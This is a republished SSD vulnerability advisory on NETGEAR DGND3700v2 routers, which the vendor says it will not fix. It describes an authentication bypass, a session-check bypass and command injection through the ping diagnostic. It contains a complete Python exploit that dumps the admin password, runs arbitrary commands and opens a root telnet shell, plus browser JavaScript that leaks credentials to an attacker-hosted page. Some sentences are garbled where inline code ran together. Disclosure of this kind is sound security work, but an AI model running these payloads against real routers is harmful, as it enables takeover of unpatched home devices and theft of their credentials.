SSD Advisory – NETGEAR DGND3700v2 PreAuth Root Access

IoT 2年前 (2022) admin
834 0 0

TL;DR

Find out how two flaws in NETGEAR DGND3700v2 devices allow remote unauthenticated attackers to trigger bypass the authentication mechanism and run commands as .root

Vulnerability Summary

Two security flaws in NETGEAR DGND3700v2 allows remote attackers that access the with the referenced to bypass the authentication mechanism, a subsequent call to with to inject arbitrary commands via the functionality.setup.cgipasswordrecoverd.htmsetup.cgicurrentsettings.htmping_test

CVE

TBD

Credit

An independent security researcher has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

  • NETGEAR DGND3700v2 (all firmware versions)

Vendor Response

“NETGEAR will not release a fix for this vulnerability on the affected product as the product is outside of the security support period. Current in-support models are not affected by this vulnerability.”

Vulnerability Analysis

NETGEAR DGND3700v2 suffers from two logic flaws that allow to compromise remotely the affected devices. The flaws have been tested all available firmware versions.

Reproducing

There are two ways to use the bug depending on where the attacker is: a LAN version (that also works against devices that have turned on remote management like in this Shodan query or directly from the Internet (like in a browser exploit).

LAN / remote management turned on

exploit.py can be used to trigger the issues from the LAN side and if the remote management is enabled.

>python exploit.py

           .    '                   .  "   '
                  .  .  .                 '      '
          "`       .   .
                                           '     '
        .    '      _______________
                ==c(___(o(______(_()
                        \=\
                         )=\
                        //|\\
                       //|| \\
                      // ||  \\
                     //  ||   \\
                    //         \\
    «Longue vue» LAN exploit targeting NETGEAR DGND3700v2


usage: Longue vue [-h] [--dump-pwd] [--shell] [--cmd CMD] [--target TARGET]

optional arguments:
  -h, --help       show this help message and exit
  --dump-pwd
  --shell
  --cmd CMD
  --target TARGET

Here is an example of using it to get a remote shell on the device; note that should resolve to the device IP:routerlogin.com

>python longue-vue.py --target routerlogin.com --shell
[...]
Getting a shell against routerlogin.com..
Waiting a few seconds before connecting..
Dropping in the shell, exit with ctrl+c
# /bin/ps
/bin/ps
  PID USER       VSZ STAT COMMAND
    1 root      1100 S    init
    2 root         0 SW<  [kthreadd]
    3 root         0 SW<  [migration/0]
    4 root         0 SW   [sirq-high/0]
    5 root         0 SW   [sirq-timer/0]
    6 root         0 SW   [sirq-net-tx/0]
    7 root         0 SW   [sirq-net-rx/0]
    8 root         0 SW   [sirq-block/0]
    9 root         0 SW   [sirq-tasklet/0]
   10 root         0 SW   [sirq-sched/0]
   11 root         0 SW   [sirq-hrtimer/0]
   12 root         0 SW   [sirq-rcu/0]
   13 root         0 SW<  [migration/1]
   14 root         0 SW   [sirq-high/1]
   15 root         0 SW   [sirq-timer/1]
   16 root         0 SW   [sirq-net-tx/1]
   17 root         0 SW   [sirq-net-rx/1]
   18 root         0 SW   [sirq-block/1]
   19 root         0 SW   [sirq-tasklet/1]
   20 root         0 SW   [sirq-sched/1]
   21 root         0 SW   [sirq-hrtimer/1]
   22 root         0 SW   [sirq-rcu/1]
   23 root         0 SW<  [events/0]
   24 root         0 SW<  [events/1]
   25 root         0 SW<  [khelper]
   28 root         0 SW<  [async/mgr]
   92 root         0 SW<  [kblockd/0]
   93 root         0 SW<  [kblockd/1]
  102 root         0 SW<  [khubd]
  120 root         0 SW<  [bpm]
  136 root         0 SW   [pdflush]
  137 root         0 SW   [pdflush]
  138 root         0 SWN  [kswapd0]
  140 root         0 SW<  [crypto/0]
  141 root         0 SW<  [crypto/1]
  198 root         0 SW<  [mtdblockd]
  246 root         0 SW   [board-timer]
  250 root         0 SW<  [linkwatch]
  306 root         0 SW   [kpAliveWatchdog]
  312 root         0 SW   [dsl0]
  321 root         0 SW   [bcmsw]
  322 root         0 SW   [bcmsw_timer]
  409 root      1500 S    /usr/sbin/swmdk
  411 root      1500 S    /usr/sbin/swmdk
  412 root      1500 S    /usr/sbin/swmdk
  417 root      1272 S    /sbin/klogd
  419 root       808 S    /usr/sbin/cmd_agent_ap
  421 root         0 SWN  [jffs2_gcd_mtd4]
  422 root         0 SWN  [jffs2_gcd_mtd3]
  423 root         0 SWN  [jffs2_gcd_mtd12]
  424 root         0 SWN  [jffs2_gcd_mtd11]
  425 root         0 SWN  [jffs2_gcd_mtd10]
  426 root         0 SWN  [jffs2_gcd_mtd9]
  427 root         0 SWN  [jffs2_gcd_mtd2]
  428 root         0 SWN  [jffs2_gcd_mtd8]
[...]
# *** Connection closed by remote host ***
Cleaning up..
Joining..
----------------------------Done----------------------------

From the Internet

The easiest way to set the attack is to start from the directory; then edit the file of the OS ( on Windows, on Linux) and add an entry:python -m http.serverweb/hostsC:\Windows\System32\drivers\etc\hosts/etc/hosts

[...]
<your local ip> longue-vue.net

Here is an example:

[...]
<your local ip> longue-vue.net

Once this is done, you can open a browser (we’ve only tested this on Microsoft Edge Chromium; we don’t see why it wouldn’t work on regular Chrome though) and navigate to and press the button.longue-vue.net

Vulnerabilities

Two vulnerabilities are used; an authentication bypass (as well as a session bypass) and a command injection.

Most of the web functionality is implemented in a CGI executable most likely written in C. The HTTP server is based off mini_httpd with some modifications / customisation. is the process that sets up the environment variables that the CGI executable uses to understand the request that it has to serve for the user.mini_httpd

The CGI executable where most (maybe all of it) of the functionality is implemented is .setup.cgi

Bypassing authentication / session

The way web authentication “works” on this device is using a very bad design. Basically the web server sets an environment variable called before invoking , then runs the authentication code accordingly.NEED_AUTHsetup.cgisetup.cgi

Now because there are some resources that needs to be available without authentication (like the page that you get when you enter wrong credentials), the http server tries to figure out if the resource needs to be authenticated or not.

.data:0041EB20 SpecialNonAuthPages:.word aCurrentsetting
.data:0041EB20                           # DATA XREF: handle_request+12F8↑o
.data:0041EB20                           # main+BF0↑o
.data:0041EB20                           # "currentsetting.htm"
.data:0041EB24  .word aUpdateSettingH    # "update_setting.htm"
.data:0041EB28  .word aDebuginfoHtm      # "debuginfo.htm"
.data:0041EB2C  .word aImportantUpdat    # "important_update.htm"
.data:0041EB30  .word aMNUtopHtm         # "MNU_top.htm"
.data:0041EB34  .word aWarningPgHtm      # "warning_pg.htm"
.data:0041EB38  .word aMultiLoginHtml    # "multi_login.html"
.data:0041EB3C  .word aHtpwdRecoveryC    # "htpwd_recovery.cgi"
.data:0041EB40  .word a401RecoveryHtm    # "401_recovery.htm"
.data:0041EB44  .word a401AccessDenie    # "401_access_denied.htm"

One way it does that is by looking if the URL contains currentsetting.htm (for example).

// .text:0040609C handle_request
char *handle_request()
{
  //...
  CurrSpecialPagePtr = (const char **)SpecialNonAuthPages;
  while ( 1 )
  {
    CurrSpecialPage = *CurrSpecialPagePtr;
    if ( !*CurrSpecialPagePtr )
      break;
    ++CurrSpecialPagePtr;
    // If we find a hit, we special case the request
    if ( strstr(v60, CurrSpecialPage) )
      goto LABEL_171;
  }
  if ( !strstr(v60, ".gif")
    && !strstr(v60, ".css")
    && !strstr(v60, ".js")
    && !strstr(v60, ".xml")
    && !strstr(v60, ".jpg") )
  {
    goto LABEL_173;
  }
LABEL_171:
  NeedAuth = 0;

Obviously an attacker can abuse this very easily by just appending in every authenticated URL the attacker wants to access.foo=currentsetting.htm

def dump_http_pwd(target):
    '''Bypass authentication and retrieve credentials needed to access
    the administration panel.'''
    r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')
    content = r.content.decode()
    login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>', content)
    return login, pwd

Then, is spawned:setup.cgi

.text:00405BAC   move    $a1, $zero       # handler
.text:00405BB0   lw      $gp, 0x2B38+var_2B10($sp)
.text:00405BB4   move    $a0, $s1         # path
.text:00405BB8   la      $t9, execve
.text:00405BBC   move    $a1, $s0         # argv
.text:00405BC0   jalr    $t9 ; execve
.text:00405BC4   move    $a2, $s2         # envp

Now, this is a stripped version of ‘s main:setup.cgi

int __cdecl main(int argc, const char **argv, const char **envp)
{
  // ...
  strcpy(SessionFilepath, "/tmp/SessionFile");
  memset(&SessionFilepath[17], 0, 0x6Fu);
  // ...
  QueryStringIdPtr = strstr(QueryString, "id=");
  if ( !QueryStringIdPtr )
  {
      // ...
  }
  QueryStringId = strtol(QueryStringIdPtr + 3, &QueryStringAfterIdPtr, 16);
  if ( QueryStringAfterIdPtr )
  {
    QueryStringSpPtr = strstr(QueryStringAfterIdPtr, "sp=");
    if ( QueryStringSpPtr )
      strcat(SessionFilepath, QueryStringSpPtr + 3);
  }
  SessionId = ReadSessionId(SessionFilepath);
  ConFd__ = fopen("/dev/console", "w");
  if ( ConFd__ )
  {
    fprintf(ConFd__, "[ %s - %d ] : ", "sid_verify", 201);
    fprintf(ConFd__, "<%s> your_sid = <%08x>, my_sid = <%08x> \n", SessionFilepath, QueryStringId, SessionId);
    fflush(ConFd__);
    fclose(ConFd__);
  }
  if ( QueryStringId != SessionId )
    goto SendForbidden;
  // ...
}

The functionality is basically gated behind those checks; we haven’t encountered the authentication yet. That’s what I called the ‘session bypass’ which I am not too sure if it is a real security measure or not.
In any case, the way it works is that the code creates a file callled with an integer written into it (yes it’s also has a remote pre-auth stack-overflow). Now when receives the parameter in the URL it concatenates its value to in .
/tmp/SessionFileXXXsetup.cgisp=XXX/tmp/SessionFileXXXSessionFilePath

After that is called with ; here is what the function looks like:ReadSessionIdSessionFilepath

int __fastcall ReadSessionId(const char *Filename)
{
  FILE *Fd;
  int SessionId;

  SessionId = 0;
  Fd = fopen(Filename, "r");
  if ( !Fd )
    return SessionId;
  fscanf(Fd, "%x", &SessionId);
  fclose(Fd);
  return SessionId;
}

The function is really simple: it basically opens the file path passed, read an hexadecimal string into an integer which is and returns it. The caller simply compares the value passed in to the value stored in the file. If the secret matches, then the code keeps going otherwise it sends a forbidden answer to the user.SessionIdid=

This is very easy to bypass, we can simply pass which will not exist on the device; will fail and it will return which is initialized to zero.. which means we can just pass to bypass the session check.sp=1337fopenSessionIdid=0

def cmd_exec(target, cmd, silent = False):
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm',

The code carries on and you can trigger different functionality based on the GET parameters received, or if it was a POST request. Here is what the functions look like:

int HandleSetupCgi()
{
  int List;
  const char *NextFile;
  const char *ActionName;

  List = cgi_input_parse();
  fflush(stdout);
  if ( check_need_logout(List) )
    return handle_logout(List);

cgi_input_parse basically parse the query string and creates a list of key / value items. The list is passed around to various functions instead of parsing the query string over and over again.

In we finally have the variable I mentioned earlier.check_need_logoutNEED_AUTH

bool __fastcall check_need_logout(int List)
{
  // ...
  LoginIp = getenv("LOGIN_IP");
  NeedAuth = getenv("NEED_AUTH");
  // ...
  if ( NeedAuth )
  {
    Return = 0;
    if ( *NeedAuth == '0' )
      return Return;
  }
 //...
}

The function needs to return zero for the caller to expose functionality. If the variable is present in the environment, the code checks if it is “0” and if so it returns 0 which is what we want. Because of the issue exploited in the http server, will be set to and this is how we bypass authentication.NEED_AUTHNEED_AUTH0

At this point we can access any functionality exposed by the web UI which means we can leak the HTTP passwords, etc.

Executing arbitrary commands

setup.cgi implements a weird command model and one of them allows you to ping an arbitrary IP (it is available in Advanced > Administration > Diagnostics). The code that implements this is defined as below:

int __fastcall handler_ping_test(int a1)
{
  const char *v2; // $s2
  const char *v3; // $v0
  char v5[128]; // [sp+18h] [-80h] BYREF

  v2 = (const char *)find_val(a1, (int)"c4_IPAddr");
  if ( !v2 )
    v2 = &nptr;
  if ( !strchr(v2, '-') && !strchr(v2, ';') )
  {
    sprintf(v5, "/bin/ping -c 4 %s", v2);
    myPipe(v5, &ping_output);
  }
  v3 = (const char *)find_val(a1, (int)"next_file");
  html_parser(v3, a1, &key_fun_tab);
  return 0;
}

There is a trivial injection here via the post parameter. The two only characters we can’t use are and . But this is enough to run a telnet server available from the LAN for example:c4_IPAddr-;

def cmd_exec(target, cmd, silent = False):
    '''Bypass authentication and command inject `cmd`.'''
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {
        'todo' : 'ping_test',
        'c4_IPAddr' : f'127.0.0.1 && echo SNIPME && {cmd}',
        'next_file' : 'diagping.htm'
    })

    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0].split('SNIPME', 1)
    if not silent:
        print(cmd_content.strip())

def spawn_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)

Bypassing CORS in the remote from the Internet scenario

When running the exploit via the browser, one issue that arises is that the origin is not allowed to read cross origin data. Even though it can post / get and trigger the issues discussed above it cannot read the result.longue-vue.net

The trick used to bypass this is to convert the command execution vulnerability above to create an XSS (running ). The XSS payload runs in the context of the router’s origin and is able to leak the data to the attacker server. That is how is implemented the leak of HTTP credentials:/bin/echo PAYLOAD

//
// Dump the passwords of the administrator.
//

function dumpPasswords() {

  //
  // This is the XSS payload that allows us to exfiltrate data to the attacker website.
  // Without it CORS would prevent us from reading the content and leaking the creds.
  // Once it is finished it sends a message to the parent window, so polite.
  //

  const payload = `fetch('/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm').then(r=>r.text()).then(r=>parent.postMessage(r, '*')).catch(r=>parent.postMessage('failed','*'))`;
  return execute(payload).then(R => {
    const [loginMatch, pwdMatch] = R.matchAll(/Router Admin (?:Username|Password)<\/span>:&nbsp;(.+)<\/td>/g);
    return {'login':loginMatch[1], 'pwd':pwdMatch[1]};
  });
}

As well as reading the results of the arbitrary commands executed on the target:

//
// Execute a shell command on the router.
//

function executeCommand(command) {
  if (command.includes(';') || command.includes('-')) {
    throw 'cannot inject ";" or "-"';
  }

  //
  // This is the XSS payload that allows us to exfiltrate data to the attacker website.
  // Without it CORS would prevent us from reading the content and leaking the creds.
  // Once it is finished it sends a message to the parent window, so polite.
  //

  const payload = "parent.postMessage(document.body.outerHTML,'*')";
  const commands = ['/bin/echo BEGIN', command, '/bin/echo END'];
  return execute(payload, commands).then(r => {
    const [_, result] = r.match(/BEGIN\n(.+)\nEND/s);
    return result;
  });
}

Exploit

import requests
import re
import threading
import telnetlib
import time
import argparse

def dump_http_pwd(target):
    '''Bypass authentication and retrieve credentials needed to access
    the administration panel.'''
    r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')
    content = r.content.decode()
    login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>', content)
    return login, pwd

def cmd_exec(target, cmd, silent = False):
    '''Bypass authentication and command inject `cmd`.'''
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {
        'todo' : 'ping_test',
        'c4_IPAddr' : f'127.0.0.1 && echo SNIPME && {cmd}',
        'next_file' : 'diagping.htm'
    })

    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0].split('SNIPME', 1)
    if not silent:
        print(cmd_content.strip())

def spawn_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)

def main():
    parser = argparse.ArgumentParser('Longue vue')
    parser.add_argument('--dump-pwd', action = 'store_true', default = False)
    parser.add_argument('--shell', action = 'store_true', default = False)
    parser.add_argument('--cmd')
    parser.add_argument('--target', default = 'routerlogin.com')
    args = parser.parse_args()

    if not args.dump_pwd and not args.shell and not args.cmd:
        parser.print_help()
        return

    if args.dump_pwd:
        print('Dumping administration password...')
        login, pwd = dump_http_pwd(args.target)
        print(f'Login: {repr(login)}, Password: {repr(pwd)}')

    if args.cmd is not None:
        if '-' in args.cmd or ';' in args.cmd:
            print('Both "-" and ";" are disallowed by the command injection bug, use the shell instead.')
            return

        print(f'Executing {repr(args.cmd)} against {args.target}..')
        cmd_exec(args.target, args.cmd)

    if args.shell:
        print(f'Getting a shell against {args.target}..')
        telnetd = threading.Thread(target = spawn_telnetd, args = (args.target, ))
        telnetd.start()
        print('Waiting a few seconds before connecting..')
        time.sleep(5)
        print('Dropping in the shell, exit with ctrl+c')
        try:
            with telnetlib.Telnet(args.target) as tn:
                tn.mt_interact()
        except:
            pass

        print('Cleaning up..')
        cmd_exec(args.target, '/bin/kill $(/bin/pidof utelnetd)', silent = True)
        print('Joining..')
        telnetd.join()

    print('Done'.center(60, '-'))

main()

 

 

版权声明:admin 发表于 2022年3月10日 下午12:08。
转载请注明:SSD Advisory – NETGEAR DGND3700v2 PreAuth Root Access | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...